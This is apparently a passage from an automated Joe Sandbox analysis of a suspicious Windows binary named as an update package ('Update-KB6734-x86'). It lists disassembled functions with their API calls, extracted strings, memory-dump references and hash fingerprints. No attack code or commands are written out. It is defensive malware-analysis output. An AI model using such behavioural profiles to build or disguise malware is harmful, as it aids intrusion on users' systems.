Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

TI, xrefs: 0041AECA
Q, xrefs: 0041AE94
U, xrefs: 0041AE99
T, xrefs: 0041AEA3
I, xrefs: 0041AE9E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: TI$I$Q$T$U
API String ID: 1203007601-4180699136
Opcode ID: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction ID: 301686960094d4809af912793bbcb5906ed8551e1f1d0e03f2bc55d77cb3246a
Opcode Fuzzy Hash: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction Fuzzy Hash: 19F0C26510C390AED301D329D84479FBFC49BD5318F48C95EF0DC86291D678C588C767

Uniqueness

Uniqueness Score: -1.00%

Function 0042C576, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(80000000,80000000,0042E40C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 0042C753
GetFileType.KERNEL32(00000000), ref: 0042C760
CloseHandle.KERNEL32(00000000), ref: 0042C76B
GetLastError.KERNEL32 ref: 0042C771

Strings

H, xrefs: 0042C7C0

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID: H
API String ID: 1809617866-2852464175
Opcode ID: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
Instruction ID: 102a8983cbf31db5d01c2ed3558011b335ab8adb99a249c34fa16b283160ce35
Opcode Fuzzy Hash: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
Instruction Fuzzy Hash: BD813730B042359AEF209BA4F8C57BF7B60AF02314F94415BE451A72C1C7BD8D46DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042B1B9, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0042B1F3

Strings

0&C, xrefs: 0042B2C2
%C, xrefs: 0042B24D
%C, xrefs: 0042B20B
0&C, xrefs: 0042B319

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Info
String ID: %C$ %C$0&C$0&C
API String ID: 1807457897-4187950356
Opcode ID: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
Instruction ID: 3a9998ec9ef1a123eeabf32567b225ac1ab3f60614b48bddbca3475532a99bbe
Opcode Fuzzy Hash: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
Instruction Fuzzy Hash: FA413670A043609ED705CF64E99427EBBA1DB09304FA864BBD985C7351C37D8A46CBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040B213, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7

Strings

, xrefs: 0040B18D

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$Read$Pointer
String ID:
API String ID: 2018848721-3916222277
Opcode ID: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
Instruction ID: 866c534031c73db29c2cd1ecf333b056677a8ac96b3e8d6862a38f2d8022ddcb
Opcode Fuzzy Hash: b0338f8490f42302bf71fa0a2cc46a806d0b2b0ea2550c8dbc934b7e51b3abfe
Instruction Fuzzy Hash: 4E419C71900208EBDB24EB95CD84BEEB7B8BF44304F14412EE902772D1EB786945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00421DE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,bin), ref: 00421DF1
LoadResource.KERNEL32(?,00000000,?), ref: 00421E03

Strings

bin, xrefs: 00421DEA

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Resource$FindLoad
String ID: bin
API String ID: 2619053042-2854705901
Opcode ID: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
Instruction ID: 9d8cb5d61aa00d475561c7ecdaaca8325d521027bad4654bdbc150deacd057bb
Opcode Fuzzy Hash: 9e540646f44935ccf111df009b3db933e214dc997df41f60f4d3731703041fe4
Instruction Fuzzy Hash: AFF062723013315BC7219F6AAC889977BADEFD57A2755483AF901C7210C774C80287B4

Uniqueness

Uniqueness Score: -1.00%

Function 00424722, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00424727

Part of subcall function 0042509E: RaiseException.KERNEL32(?,?,0042D4D3,004301F4,?,0042E4A8,?,?,?,00424841,0042D4D3,004301F4,00432030,00413E01,0042D4D3,000000FF), ref: 004250CC

__EH_prolog.LIBCMT ref: 00424767

Strings

string too long, xrefs: 0042476F
hB, xrefs: 00424795
invalid string position, xrefs: 0042472F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID: hB$invalid string position$string too long
API String ID: 2062786585-4136523384
Opcode ID: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction ID: 11e73fe8e2f787134ba4100129d5177836af9054e9acb309ed81b3bbf2727209
Opcode Fuzzy Hash: 88d8fa90d7c6c8d718b7f6f7407bcfcb0e3c6434c47ad0064ef0aedc0834ee80
Instruction Fuzzy Hash: E1F012B2B101389AC700F7D5E945ADDB774AB18319FD0416BE101B5085DBF85608CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00427648, Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,00425255,?), ref: 004276FB
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427779
InterlockedExchange.KERNEL32(00432200,00000000), ref: 004277DE
InterlockedExchange.KERNEL32(00432200,00000001), ref: 00427802
InterlockedExchange.KERNEL32(00432200,00000000), ref: 00427862

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ExchangeInterlocked$QueryVirtual
String ID:
API String ID: 2947987494-0
Opcode ID: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
Instruction ID: 69315932293a6f15bc6fa72f35dddf1ea49eabd3a30424e24b4ce32bea02e01f
Opcode Fuzzy Hash: 9d0e1f8ca3f94a46a9c43039f82332cbc11742f84446677a94a17d3fc60db3ea
Instruction Fuzzy Hash: EA510730B086319BDB248B19FAC4B3A73A1AB41724FA5956FD511873E1D3B8EC81C65C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB70, Relevance: 7.7, APIs: 6, Instructions: 162memorysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004074A0: WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD

Part of subcall function 0040B610: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
Part of subcall function 0040B610: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
Part of subcall function 0040B610: ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
Part of subcall function 0040B610: CloseHandle.KERNEL32(00000000), ref: 0040B760

GetProcessHeap.KERNEL32(00000000,00080000,00000001,00000000), ref: 0040BBCA
HeapAlloc.KERNEL32(00000000), ref: 0040BBD1
Sleep.KERNEL32(00002710,00000003), ref: 0040BC35
Sleep.KERNEL32(0002BF20,00000000), ref: 0040BD47
GetProcessHeap.KERNEL32(00000000,?), ref: 0040BD77
HeapFree.KERNEL32(00000000), ref: 0040BD7E

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$MutexRelease$FileProcessSleep$AllocCloseCreateEnvironmentExpandFreeHandleObjectReadSingleStringsWait
String ID:
API String ID: 852835205-0
Opcode ID: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction ID: dbe7561af554c473106a4ec3f17350c3c00e3f78ca735fbf8e53c6946bf8a5ce
Opcode Fuzzy Hash: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction Fuzzy Hash: 2D51B3716483415FE710DB61DC85BABBBA4EB95304F04183EF584972E2EB789405CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00428FE3, Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 324730bc8831b53de37483e4ade50557c27f786f69e829da899c859302e8a7af
Instruction ID: 7989a7ec8bd3e7dc296c367a6cca705834e82284c665f1faf7c5f8b3083430bb
Opcode Fuzzy Hash: 324730bc8831b53de37483e4ade50557c27f786f69e829da899c859302e8a7af
Instruction Fuzzy Hash: 09410571F01136ABDF207F67BC888BF7AA4EA45764F91412FF814A2280D73C4D518A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD70, Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 0041ADCA

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

T, xrefs: 0041ADAA
., xrefs: 0041ADBC
D, xrefs: 0041ADA5

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: .$D$T
API String ID: 1203007601-2113802054
Opcode ID: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
Instruction ID: 3bc75d6c25ee899c0d3cbf15c6baa3f2471e4579f1b3dcf940514d54ae42f5c8
Opcode Fuzzy Hash: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
Instruction Fuzzy Hash: 2731C1B621C3C19BC304EA2DD44169FBBD49BE5314F44486FF19583282DB68D548C7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407760, Relevance: 7.6, APIs: 5, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,004088C2,?,?,00000000,000000FF,?,00000000), ref: 00407780
SetFilePointer.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,0000000A), ref: 004077A6
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077C0
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077D0
CloseHandle.KERNEL32(00000000,?,0000000A), ref: 004077D3

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID:
API String ID: 2529654636-0
Opcode ID: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
Instruction ID: 1453553940a4d3892de4ff384dbac704556b8781b2e4a3aa95a78d14f1d764be
Opcode Fuzzy Hash: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
Instruction Fuzzy Hash: 910152B2345210BBF224D665DC85FABB35CFB45B55F604529F301AB1C0D7B0B912866E

Uniqueness

Uniqueness Score: -1.00%

Function 00426F68, Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00429D66,0042754D,00000000,0042E878,00000008,004275A4,?,?,?,004255E1,00000004,0042E528,0000000C,004274A4), ref: 00426F6A
FlsGetValue.KERNEL32(?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F78
SetLastError.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426FCE

Part of subcall function 0042AF1A: __lock.LIBCMT ref: 0042AF5E
Part of subcall function 0042AF1A: RtlAllocateHeap.NTDLL(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

FlsSetValue.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F9F
GetCurrentThreadId.KERNEL32 ref: 00426FB7

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ErrorLastValue$AllocateCurrentHeapThread__lock
String ID:
API String ID: 1487844433-0
Opcode ID: 75e628bb1afd77299139b061d247314bed22b6c22f4d8f656981266866f80e8a
Instruction ID: f63654c1ee938a50a5afa31d3a4a151140225177cbe4647d27af6bf58e16b5fd
Opcode Fuzzy Hash: 75e628bb1afd77299139b061d247314bed22b6c22f4d8f656981266866f80e8a
Instruction Fuzzy Hash: 42F0FC317017219FDB302F61BE0D6463BE0EF04761B520539F681962E0CBB48805DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413AD0, Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000104,?,00000000,00000001,00415108), ref: 0041EF12
SetEvent.KERNEL32(00000110), ref: 0041EF20
SetEvent.KERNEL32(00000114), ref: 0041EF2B
SetEvent.KERNEL32(0000010C), ref: 0041EF36
SetEvent.KERNEL32(00000108), ref: 0041EF41

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction ID: 92241c2d29be1143f2a9536055d46b80d7f207951b744ccd9958107ee56c1688
Opcode Fuzzy Hash: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction Fuzzy Hash: F6F08273710910A7C31896F99C899EAE399FB8C395B45062AEA19D7310CA3CAC1047EC

Uniqueness

Uniqueness Score: -1.00%

Function 0042649B, Relevance: 7.5, APIs: 5, Instructions: 32timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 004264B6
GetCurrentProcessId.KERNEL32 ref: 004264C2
GetCurrentThreadId.KERNEL32 ref: 004264CA
GetTickCount.KERNEL32 ref: 004264D2
QueryPerformanceCounter.KERNEL32(?), ref: 004264DE

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction ID: 499c131aa02166e40c80eeea4be7d3552c431a5fdd0afb938acd6548f02731da
Opcode Fuzzy Hash: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction Fuzzy Hash: BCF0B271E00124ABDB20EBB5ED4859FB7F8FF08251BC60576D801E7160EA34A9558B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF50, Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(00000104,?,00000000,00000001,00415134), ref: 0041EF67
ResetEvent.KERNEL32(00000110), ref: 0041EF76
ResetEvent.KERNEL32(00000114), ref: 0041EF81
ResetEvent.KERNEL32(0000010C), ref: 0041EF8C
ResetEvent.KERNEL32(00000108), ref: 0041EF97

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: EventReset
String ID:
API String ID: 2632953641-0
Opcode ID: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
Instruction ID: fc480dfa26fb09fbbc65d8aef6d91afcac74ba489442c4a45ccb12b9350b78a5
Opcode Fuzzy Hash: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
Instruction Fuzzy Hash: 8DF039B3211A009BC32096FACCC5EC7A3DAABCC305F190829A21DC3200C93CE8418778

Uniqueness

Uniqueness Score: -1.00%

Function 004221A7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?), ref: 00422278
GetFileAttributesA.KERNEL32(?), ref: 0042229B
GetFileAttributesA.KERNEL32(?), ref: 004222BE

Strings

fwe, xrefs: 004222C5

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AttributesFile
String ID: fwe
API String ID: 3188754299-4005368934
Opcode ID: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
Instruction ID: 76594a64a599093f323b53c7ed8c786e31d7372582f6e569f4210dc002227436
Opcode Fuzzy Hash: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
Instruction Fuzzy Hash: CE315B3160879157CB21D6347820BFBF7D1AFD4300FA00B69E8D8C3281DBB69845C396

Uniqueness

Uniqueness Score: -1.00%

Function 00426F4B, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

h C, xrefs: 00427489, 004274B3

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CriticalDeleteSection$Free
String ID: h C
API String ID: 1584690612-3285481218
Opcode ID: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction ID: 46e1f5d38daa45a4b8a1175150061cd4bbfd52aad6ded1a2a2748f1cabc2c9bd
Opcode Fuzzy Hash: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction Fuzzy Hash: D2F0A432A0423097CA346A18BC855A6B6E89F49731B55573FE9E9E32A0C33C9C42866C

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4DF, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0042EFE0,00000010,00427463,00000000,00000FA0,74784DE0,00000000,00427125,00425E71,?,0042E598,00000060), ref: 0042B502
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 0042B512

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 0042B50C
kernel32.dll, xrefs: 0042B4FD

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 1646373207-3733552308
Opcode ID: 1ca8ae021f159ed162ffc7e4c848c318114e2b85301864bcde9cf95576aa1663
Instruction ID: be9b0aabb06fe80ffec501557c266caa5c5a139848c1c9192b9c21e126a2179c
Opcode Fuzzy Hash: 1ca8ae021f159ed162ffc7e4c848c318114e2b85301864bcde9cf95576aa1663
Instruction Fuzzy Hash: EBF05470741335FACB10AFB2FD457593BA0EB04748F94452AE814D52A0D77C86819A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00426C9C, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

Part of subcall function 00426B77: _UnwindNestedFrames.LIBCMT ref: 00426B9A

InitializeCriticalSection.KERNEL32(00426CC1,00000003), ref: 0042B4D3

Strings

csm, xrefs: 00426CC5
csm, xrefs: 00426D35
csm, xrefs: 00426D69

Memory Dump Source

